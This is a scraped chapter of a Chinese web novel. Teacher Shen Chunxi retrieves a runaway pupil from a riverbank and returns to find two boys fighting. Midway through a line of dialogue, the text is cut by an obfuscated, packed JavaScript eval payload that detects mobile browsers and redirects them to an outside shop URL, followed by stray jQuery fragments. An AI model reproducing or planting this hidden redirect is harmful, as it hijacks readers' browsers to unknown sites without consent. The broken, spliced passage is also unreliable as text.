沈春溪立马拿着花名册核对了遍孩子名单。
“周承业呢?”
沈春溪的声音轻轻响起,打破了短暂的平静。
一众孩子闻声,纷纷左右转头、四处张望。
大柱挠着脑袋,“刚刚还在这儿看热闹的,怎么一下子没人了?”
马小烈抱臂嗤了一声,满脸不耐,压根懒得四处张望,随口道:“管他去哪,肯定又是乱跑,没个安分样子。”
马豆豆瞬间来了兴致:
“我猜他肯定是偷偷跑出去玩了!我听说他在家就天天逃课偷懒,肯定不想上学!”
二柱怯生生指着门口:“方才乱的时候,好像看见他往院外跑了。”
沈春溪心头一紧。
昨日便听周父说过,周承业这孩子性子野,坐不住,最是爱往外瞎跑。
之前去过两个私塾,因为坐不住,总逃课被劝退了。
后来又请先生上门管教,却整天跟先生玩捉迷藏,不见人影,气得先生都走了,之后再没先生愿意上门。
她原以为这孩子只是坐不住,顶多也只是在院内闹腾捣乱,没料到,他竟然敢自己跑出去。
“李嫂,你先出来看下孩子,周承业跑出去了,我去找他。”
沈春溪高声朝灶房方向喊了一声,随即转头看向院里一众孩童,语速飞快地安排:
“大柱、长贵,你们两个照看大伙去上厕所、喝水。”
“知道了,沈老师。”大柱点头应道。
李嫂闻声边擦干手上的水渍,边从灶房快步走出来:
“那周家小子真是让人不省心的!这开园第一天,人就不见了,可怎么好!”
沈春溪脚下没有停顿,只侧过头丢下一句,神色满是焦灼:
“我出去找承业,园子里就拜托你盯紧,千万不能再让别的孩子往外跑。”
说完她不敢耽搁,迈开步子急冲冲冲出院门。
李嫂连忙应下,神色也绷得很紧,跟在沈春溪后面,赶忙几步冲到院门边,伸手把虚掩的竹门拉拢抵好。
“你快去快去!这边有我守着,院门我看好,绝不让半大孩子往外溜!”
说完转头看向满院叽叽喳喳的孩童,扬声稳住场面,心里还暗暗捏着一把汗,盼着沈春溪能顺顺利利把人找回来。
沈春溪转身快步走向院门,她本能的先到河滩边看看,夏天的孩子最喜欢玩水。
而河边也是最危险、最容易出事的地方,所以她选择先排查河边。
远远的,只见周承业正脱了布鞋,光着脚丫踩在河滩软沙上,手里捏着小石子,一下一下往河面打水漂,玩得不亦乐乎。
沈春溪一路疾跑过来,心口突突狂跳,后怕裹挟着火气往上涌。
方才满脑子都是孩子会不会失足落水,会不会遇上意外,此刻看见人好好的,那股悬着的心化作压不住的怒火。
她大步冲过去,额角都沁出薄汗,脸色沉得厉害,咬着牙,声音都带着几分压抑的颤抖。
“周承业。”
咬牙切齿的声音自身后响起。
周承业手里的石子猛地脱手,在水面砸出浅浅水花。
他浑身一僵,欢快的动作瞬间定格,慢悠悠转过头,看见缓步走来的沈春溪。
他脸上的嬉笑意瞬间褪去,肩头微微缩了缩,眼底飞快掠过一丝心虚。
只因沈春溪的脸色太难看了,一副想动手揍他的模样。
可这份心虚不过一闪而过,他瞥了一眼神色铁青的沈春溪,垂了垂眼皮,没半分认错的惶恐,满不在乎地抠了抠手边的碎石子。
“沈老师,你这么快就找到我了啊。”
他踢了踢脚边滚来滚去的鹅卵石,望着哗哗流淌的河水,垮着小脸嘟囔一句:
“院里太吵了……坐着没意思,我就想出来玩玩。”
沈春溪一路寻过来,心里悬着的那块石头方才落地,可听见这话,火气又往上冒了几分。
她压着怒意:
“那也不能私自逃出来。河滩水边多危险,万一失足落水,出了事怎么办!”
周承业闻言只是耷拉着肩膀,漫不经心地扒拉手上沾到的泥沙,一副没往心里去的模样。
“嘻嘻,我经常在这边玩的,不会出事。”
河水哗哗拍打着岸边的石块,脚下就是滑溜溜的湿河滩。
沈春溪听得心口一紧,快步上前。
“等出事就晚了,马上跟我回去。”
一把攥住周承业的胳膊,另一只手直接拎起他脱在河滩石头边的布鞋:
“鞋子我替你收着,现在就跟我回去。”
没了鞋子,周承业便是想跑也跑不远。
他光着脚踩在冰凉潮湿的河滩泥地上,双脚下意识往回缩,急得挣了两下胳膊,却挣脱不开。
“哎!把鞋还给我!”
他跺着光溜溜的脚丫,满脸懊恼,眼睁睁看着自己的鞋子被沈春溪拎在手中,只能被她半拽着,不情不愿地离开河滩。
走了没几步,脚下碎石硌得周承业不住缩脚,时不时疼得呲牙抽气。
沈春溪看不过去,蹲下身把手里的布鞋给他套回脚上。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877672|209430||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这次暂且给你穿上。以后要是再敢私自跑出来,我就没收你的鞋子,就让你光脚走路。”
周承业脚一落地,下意识就想往河滩的方向瞟,听见这话,嘴上没敢顶嘴,心里却依旧没完全听进去。
沈春溪心里还记挂着稚子园那边,李嫂一个人要照看一大群孩子,实在放心不下。
攥住周承业的手腕,拉着他快步往园子的方向赶。
刚走近篱笆院门,就听见院里传来一阵激烈的推搡争执声。
沈春溪拽着周承业跨进院门,一眼就看见院内混乱的一幕。
马小烈一脸凶相,攥着拳头,整个人俯身上前,扬起拳头就要往倒在地上的大柱身上砸下去。
大柱猝不及防摔在泥地上,后背磕得生疼,下意识抬手护住脑袋,闷哼一声。
周围的孩子吓得四散往后退,有的尖叫出声。
沈春溪见状,松开周承业的手,几步疾冲上前。
她伸手牢牢扣住马小烈扬起的胳膊,猛地向后一拽,硬生生将人从大柱身上扯开。
马小烈力气不小,还在使劲挣扎,胳膊不停扭动,嘴里嗷嗷地叫嚷,仍旧想要扑过去。
可撞上沈春溪那张沉下来的严厉面孔,躁动的动作骤然一顿。
他眼里那股蛮横的气焰弱了大半,不再胡乱挥拳,只是死死瞪着大柱,满是不服,却不敢再往前冲。
沈春溪依旧握着他的双手没有松开,目光沉沉落在他脸上。
院中鸦雀无声,一众孩子大气都不敢喘。
他们从未见过沈春溪这般生气的脸色。
往日沈春溪待人总是温和从容,眉眼带着笑意,此刻眉眼冷沉,面上不见半分柔和,孩子们心里都不由得发怵。
大柱得以脱身,连忙撑着泥地坐起身,胳膊上蹭出几道泥印,神色隐忍,咬着唇没有哭出声。
二柱和虎子立马围住大柱,又不敢碰他,生怕碰疼他。
周承业站在门边,方才还满心的不情愿,此刻也被眼前的打斗场面吸引,怔怔望着院中。
见马小烈身上的戾气稍稍平复,沈春溪这才慢慢松开扣住他双手的手腕。
她转身将大柱扶了起来。
轻轻拨开大柱沾满尘土的衣袖,仔细打量他的胳膊、后背,上下查看一番,确认只是蹭了些泥,没有破皮受伤,悬着的心才落下去几分。
“疼不疼?哪里被撞到了?”她柔声问道。
大柱摇摇头,攥紧衣袖,咬着嘴唇,只是眼眶微微泛红,强忍着没有落泪。
“怎么回事?马小烈你还动手打人了!”